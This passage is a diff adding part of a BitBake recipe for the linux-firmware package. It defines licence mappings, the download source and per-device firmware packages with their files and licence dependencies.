+NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
+NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
+NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
+NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
+NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
+NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
+NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
+NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
+NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
+NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
+NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
+NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
+NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
+NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
+NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
+NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
+NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
+NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
+NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
+NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
+NO_GENERIC_LICENSE[Firmware-tda7706-firmware] = "LICENCE.tda7706-firmware.txt"
+NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
+NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
+NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
+NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
+NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
+NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
+NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
+NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
+NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
+
+PE = "1"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/kernel/firmware/${BPN}-${PV}.tar.xz"
+
+SRC_URI[sha256sum] = "5938ee717b2023b48f6bfcf344b40ddc947e3e22c0bc36d4c3418f90fea68182"
+
+inherit allarch
+
+CLEANBROKEN = "1"
+
+do_compile() {
+ :
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' 'FIRMWAREDIR=${nonarch_base_libdir}/firmware' install
+ cp GPL-2 LICEN[CS]E.* WHENCE ${D}${nonarch_base_libdir}/firmware/
+}
+
+
+PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
+ ${PN}-mt7601u-license ${PN}-mt7601u \
+ ${PN}-radeon-license ${PN}-radeon \
+ ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
+ ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 \
+ ${PN}-sd8887 ${PN}-sd8897 ${PN}-sd8997 ${PN}-usb8997 \
+ ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
+ ${PN}-vt6656-license ${PN}-vt6656 \
+ ${PN}-rs9113 ${PN}-rs9116 \
+ ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
+ ${PN}-rtl8168 \
+ ${PN}-cypress-license \
+ ${PN}-broadcom-license \
+ ${PN}-bcm-0bb4-0306 \
+ ${PN}-bcm43143 \
+ ${PN}-bcm43236b \
+ ${PN}-bcm43241b0 \
+ ${PN}-bcm43241b4 \
+ ${PN}-bcm43241b5 \
+ ${PN}-bcm43242a \
+ ${PN}-bcm4329 \
+ ${PN}-bcm4329-fullmac \
+ ${PN}-bcm4330 \
+ ${PN}-bcm4334 \
+ ${PN}-bcm43340 \
+ ${PN}-bcm4335 \
+ ${PN}-bcm43362 \
+ ${PN}-bcm4339 \
+ ${PN}-bcm43430 \
+ ${PN}-bcm43430a0 \
+ ${PN}-bcm43455 \
+ ${PN}-bcm4350 \
+ ${PN}-bcm4350c2 \
+ ${PN}-bcm4354 \
+ ${PN}-bcm4356 \
+ ${PN}-bcm4356-pcie \
+ ${PN}-bcm43569 \
+ ${PN}-bcm43570 \
+ ${PN}-bcm4358 \
+ ${PN}-bcm43602 \
+ ${PN}-bcm4366b \
+ ${PN}-bcm4366c \
+ ${PN}-bcm4371 \
+ ${PN}-bcm4373 \
+ ${PN}-bcm43xx \
+ ${PN}-bcm43xx-hdr \
+ ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k \
+ ${PN}-gplv2-license ${PN}-carl9170 \
+ ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-ath11k ${PN}-qca \
+ \
+ ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
+ \
+ ${PN}-iwlwifi-license ${PN}-iwlwifi \
+ ${PN}-iwlwifi-135-6 \
+ ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
+ ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
+ ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
+ ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
+ ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
+ ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
+ ${PN}-iwlwifi-7260 \
+ ${PN}-iwlwifi-7265 \
+ ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
+ ${PN}-iwlwifi-9000 \
+ ${PN}-iwlwifi-misc \
+ ${PN}-ibt-license ${PN}-ibt \
+ ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
+ ${PN}-ibt-17 \
+ ${PN}-ibt-20 \
+ ${PN}-ibt-misc \
+ ${PN}-i915-license ${PN}-i915 \
+ ${PN}-ice-license ${PN}-ice \
+ ${PN}-adsp-sst-license ${PN}-adsp-sst \
+ ${PN}-bnx2-mips \
+ ${PN}-liquidio \
+ ${PN}-nvidia-license \
+ ${PN}-nvidia-tegra-k1 ${PN}-nvidia-tegra \
+ ${PN}-nvidia-gpu \
+ ${PN}-netronome-license ${PN}-netronome \
+ ${PN}-qat ${PN}-qat-license \
+ ${PN}-qcom-license \
+ ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 ${PN}-qcom-venus-5.2 ${PN}-qcom-venus-5.4 \
+ ${PN}-qcom-vpu-1.0 ${PN}-qcom-vpu-2.0 \
+ ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a530 \
+ ${PN}-qcom-adreno-a630 ${PN}-qcom-adreno-a650 ${PN}-qcom-adreno-a660 \
+ ${PN}-qcom-sdm845-audio ${PN}-qcom-sdm845-compute ${PN}-qcom-sdm845-modem \
+ ${PN}-qcom-sm8250-audio ${PN}-qcom-sm8250-compute \
+ ${PN}-amlogic-vdec-license ${PN}-amlogic-vdec \
+ ${PN}-lt9611uxc ${PN}-lontium-license \
+ ${PN}-whence-license \
+ ${PN}-license \
+ "
+
+# For atheros
+LICENSE:${PN}-ar9170 = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath6k = "Firmware-atheros_firmware"
+LICENSE:${PN}-ath9k = "Firmware-atheros_firmware"
+LICENSE:${PN}-atheros-license = "Firmware-atheros_firmware"
+
+FILES:${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
+FILES:${PN}-ar9170 = " \
+ ${nonarch_base_libdir}/firmware/ar9170*.fw \
+"
+FILES:${PN}-ath6k = " \
+ ${nonarch_base_libdir}/firmware/ath6k \
+"
+FILES:${PN}-ath9k = " \
+ ${nonarch_base_libdir}/firmware/ar9271.fw \
+ ${nonarch_base_libdir}/firmware/ar7010*.fw \
+ ${nonarch_base_libdir}/firmware/htc_9271.fw \
+ ${nonarch_base_libdir}/firmware/htc_7010.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
+ ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
+"
+
+RDEPENDS:${PN}-ar9170 += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath6k += "${PN}-atheros-license"
+RDEPENDS:${PN}-ath9k += "${PN}-atheros-license"
+
+# For carl9170
+LICENSE:${PN}-carl9170 = "Firmware-GPLv2"
+LICENSE:${PN}-gplv2-license = "Firmware-GPLv2"
+
+FILES:${PN}-gplv2-license = "${nonarch_base_libdir}/firmware/GPL-2"
+FILES:${PN}-carl9170 = " \
+ ${nonarch_base_libdir}/firmware/carl9170*.fw \
+"
+
+RDEPENDS:${PN}-carl9170 += "${PN}-gplv2-license"
+
+# For QualCommAthos
+LICENSE:${PN}-ar3k = "Firmware-qualcommAthos_ar3k"
+LICENSE:${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
+LICENSE:${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
+LICENSE:${PN}-qca = "Firmware-qualcommAthos_ath10k"
+
+FILES:${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
+FILES:${PN}-ar3k = " \
+ ${nonarch_base_libdir}/firmware/ar3k \
+"
+
+FILES:${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
+FILES:${PN}-ath10k = " \
+ ${nonarch_base_libdir}/firmware/ath10k \
+"
+
+FILES:${PN}-ath11k = " \
+ ${nonarch_base_libdir}/firmware/ath11k \
+"
+
+FILES:${PN}-qca = " \
+ ${nonarch_base_libdir}/firmware/qca \
+"
+
+RDEPENDS:${PN}-ar3k += "${PN}-ar3k-license"
+RDEPENDS:${PN}-ath10k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-ath11k += "${PN}-ath10k-license"
+RDEPENDS:${PN}-qca += "${PN}-ath10k-license"
+
+# For ralink
+LICENSE:${PN}-ralink = "Firmware-ralink-firmware"
+LICENSE:${PN}-ralink-license = "Firmware-ralink-firmware"
+
+FILES:${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
+FILES:${PN}-ralink = " \
+ ${nonarch_base_libdir}/firmware/rt*.bin \
+"
+
+RDEPENDS:${PN}-ralink += "${PN}-ralink-license"
+
+# For mediatek MT7601U
+LICENSE:${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
+LICENSE:${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
+
+FILES:${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
+FILES:${PN}-mt7601u = " \
+ ${nonarch_base_libdir}/firmware/mt7601u.bin \
+"
+
+RDEPENDS:${PN}-mt7601u += "${PN}-mt7601u-license"
+
+# For radeon
+LICENSE:${PN}-radeon = "Firmware-radeon"
+LICENSE:${PN}-radeon-license = "Firmware-radeon"
+
+FILES:${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
+FILES:${PN}-radeon = " \
+ ${nonarch_base_libdir}/firmware/radeon \
+"
+
+RDEPENDS:${PN}-radeon += "${PN}-radeon-license"
+
+# For lontium
+LICENSE:${PN}-lt9611uxc = "Firmware-Lontium"
+
+FILES:${PN}-lontium-license = "${nonarch_base_libdir}/firmware/LICENSE.Lontium"
+FILES:${PN}-lt9611uxc = "${nonarch_base_libdir}/firmware/lt9611uxc_fw.bin"
+
+# For marvell
+LICENSE:${PN}-pcie8897 = "Firmware-Marvell"
+LICENSE:${PN}-pcie8997 = "Firmware-Marvell"
+LICENSE:${PN}-sd8686 = "Firmware-Marvell"
+LICENSE:${PN}-sd8688 = "Firmware-Marvell"
+LICENSE:${PN}-sd8787 = "Firmware-Marvell"
+LICENSE:${PN}-sd8797 = "Firmware-Marvell"
+LICENSE:${PN}-sd8801 = "Firmware-Marvell"
+LICENSE:${PN}-sd8887 = "Firmware-Marvell"
+LICENSE:${PN}-sd8897 = "Firmware-Marvell"
+LICENSE:${PN}-sd8997 = "Firmware-Marvell"
+LICENSE:${PN}-usb8997 = "Firmware-Marvell"
+LICENSE:${PN}-marvell-license = "Firmware-Marvell"
+
+FILES:${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
+FILES:${PN}-pcie8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
+"
+FILES:${PN}-pcie8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
+"
+FILES:${PN}-sd8686 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
+ ${nonarch_base_libdir}/firmware/sd8686* \
+"
+FILES:${PN}-sd8688 = " \
+ ${nonarch_base_libdir}/firmware/libertas/sd8688* \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
+"
+FILES:${PN}-sd8787 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
+"
+FILES:${PN}-sd8797 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
+"
+FILES:${PN}-sd8801 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
+"
+FILES:${PN}-sd8887 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
+"
+FILES:${PN}-sd8897 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
+"
+do_install:append() {
+ # The kernel 5.6.x driver still uses the old name, provide a symlink for
+ # older kernels
+ ln -fs sdsd8997_combo_v4.bin ${D}${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin
+}
+FILES:${PN}-sd8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/sd8997_uapsta.bin \
+ ${nonarch_base_libdir}/firmware/mrvl/sdsd8997_combo_v4.bin \
+"
+FILES:${PN}-usb8997 = " \
+ ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
+"
+
+RDEPENDS:${PN}-sd8686 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8688 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8787 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8797 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8801 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8887 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8897 += "${PN}-marvell-license"
+RDEPENDS:${PN}-sd8997 += "${PN}-marvell-license"
+RDEPENDS:${PN}-usb8997 += "${PN}-marvell-license"
+
+# For netronome
+LICENSE:${PN}-netronome = "Firmware-netronome"
+
+FILES:${PN}-netronome-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
+"
+FILES:${PN}-netronome = " \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0011_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0058-0012_2x40.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0078-0011_1x100.nffw \
+ ${nonarch_base_libdir}/firmware/netronome/bpf \
+ ${nonarch_base_libdir}/firmware/netronome/flower \
+ ${nonarch_base_libdir}/firmware/netronome/nic \
+ ${nonarch_base_libdir}/firmware/netronome/nic-sriov \
+"
+
+RDEPENDS:${PN}-netronome += "${PN}-netronome-license"
+
+# For Nvidia
+LICENSE:${PN}-nvidia-gpu = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-tegra-k1 = "Firmware-nvidia"
+LICENSE:${PN}-nvidia-license = "Firmware-nvidia"
+
+FILES:${PN}-nvidia-gpu = "${nonarch_base_libdir}/firmware/nvidia"
+FILES:${PN}-nvidia-tegra = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra* \
+ ${nonarch_base_libdir}/firmware/nvidia/gm20b \
+ ${nonarch_base_libdir}/firmware/nvidia/gp10b \
+"
+FILES:${PN}-nvidia-tegra-k1 = " \
+ ${nonarch_base_libdir}/firmware/nvidia/tegra124 \
+ ${nonarch_base_libdir}/firmware/nvidia/gk20a \
+"
+FILES:${PN}-nvidia-license = "${nonarch_base_libdir}/firmware/LICENCE.nvidia"
+
+RDEPENDS:${PN}-nvidia-gpu += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra += "${PN}-nvidia-license"
+RDEPENDS:${PN}-nvidia-tegra-k1 += "${PN}-nvidia-license"
+
+# For RSI RS911x WiFi
+LICENSE:${PN}-rs9113 = "WHENCE"
+LICENSE:${PN}-rs9116 = "WHENCE"
+
+FILES:${PN}-rs9113 = " ${nonarch_base_libdir}/firmware/rsi/rs9113*.rps "
+FILES:${PN}-rs9116 = " ${nonarch_base_libdir}/firmware/rsi/rs9116*.rps "
+
+RDEPENDS:${PN}-rs9113 += "${PN}-whence-license"
+RDEPENDS:${PN}-rs9116 += "${PN}-whence-license"
+
+# For rtl
+LICENSE:${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl-license = "Firmware-rtlwifi_firmware"
+LICENSE:${PN}-rtl8168 = "WHENCE"
+
+FILES:${PN}-rtl-license = " \
+ ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
+"
+FILES:${PN}-rtl8188 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
+"
+FILES:${PN}-rtl8192cu = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
+"
+FILES:${PN}-rtl8192ce = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
+"
+FILES:${PN}-rtl8192su = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
+"
+FILES:${PN}-rtl8723 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
+"
+FILES:${PN}-rtl8821 = " \
+ ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
+"
+FILES:${PN}-rtl8168 = " \
+ ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
+"
+
+RDEPENDS:${PN}-rtl8188 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192ce += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192cu += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8192su = "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8723 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8821 += "${PN}-rtl-license"
+RDEPENDS:${PN}-rtl8168 += "${PN}-whence-license"
+
+# For ti-connectivity
+LICENSE:${PN}-wlcommon = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl12xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-wl18xx = "Firmware-ti-connectivity"
+LICENSE:${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
+
+FILES:${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
+# wl18xx optionally needs wl1271-nvs.bin (which itself is a symlink to
+# wl127x-nvs.bin) - see linux/drivers/net/wireless/ti/wlcore/sdio.c
+# and drivers/net/wireless/ti/wlcore/spi.c.
+# While they're optional and actually only used to override the MAC
+# address on wl18xx, driver loading will delay (by udev timout - 60s)
+# if not there. So let's make it available always. Because it's a
+# symlink, both need to go to wlcommon.
+FILES:${PN}-wlcommon = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl127x-nvs.bin \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl1271-nvs.bin \
+"
+FILES:${PN}-wl12xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
+"
+FILES:${PN}-wl18xx = " \
+ ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
+"
+
+RDEPENDS:${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+RDEPENDS:${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
+
+# For vt6656
+LICENSE:${PN}-vt6656 = "Firmware-via_vt6656"
+LICENSE:${PN}-vt6656-license = "Firmware-via_vt6656"
+
+FILES:${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
+FILES:${PN}-vt6656 = " \
+ ${nonarch_base_libdir}/firmware/vntwusb.fw \
+"
+
+RDEPENDS:${PN}-vt6656 = "${PN}-vt6656-license"
+
+# For broadcom
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
+
+LICENSE:${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
+FILES:${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES:\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
+
+FILES:${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
+FILES:${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
+FILES:${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
+FILES:${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
+FILES:${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
+FILES:${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
+FILES:${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
+FILES:${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
+FILES:${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4339-sdio.bin \
+"
+FILES:${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
+FILES:${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
+FILES:${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
+FILES:${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
+FILES:${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
+"
+FILES:${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
+FILES:${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43455-sdio.* \
+"
+FILES:${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
+FILES:${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
+FILES:${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-sdio.* \
+"
+FILES:${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
+FILES:${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43570-pcie.bin \
+"
+FILES:${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
+FILES:${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
+"
+FILES:${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
+FILES:${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
+FILES:${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE:\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
+# Currently 1st one and last 6 have cypress LICENSE
+
+LICENSE:${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43236b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4330 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4334 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4335 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4339 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b0 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b4 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b5 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43242a += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43143 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43430a0 += "${PN}-broadcom-license"
